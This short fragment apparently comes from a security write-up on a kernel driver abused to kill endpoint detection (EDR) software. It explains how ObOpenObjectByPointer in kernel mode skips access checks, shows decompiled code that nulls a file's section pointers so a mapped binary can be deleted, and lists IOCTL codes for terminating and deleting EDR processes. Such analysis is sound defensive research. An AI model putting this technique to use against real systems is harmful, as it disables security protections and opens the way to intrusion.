ZwOpenProcess path:
  NtOpenProcess → ObOpenObjectByName → SeAccessCheck
                                        (checks DACL, caller token, integrity level)
                                        can return STATUS_ACCESS_DENIED

ObOpenObjectByPointer(KernelMode) path:
  SeAccessCheck  ← NOT invoked
  → PROCESS_ALL_ACCESS handle granted unconditionally

plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0;  // DataSectionObject  → NULL
plVar1[0] = 0;  // ImageSectionObject → NULL

IofCallDriver(device, irp);

// Restore after completion
plVar1[2] = DataSectionObject_backup;
plVar1[0] = ImageSectionObject_backup;

1. Terminate EDR process     (IOCTL 0x800024B4)
2. Delete EDR binary on disk (IOCTL 0x8000264C) ← works even if memory-mapped
3. Prevent restart           ← executable no longer exists on disk
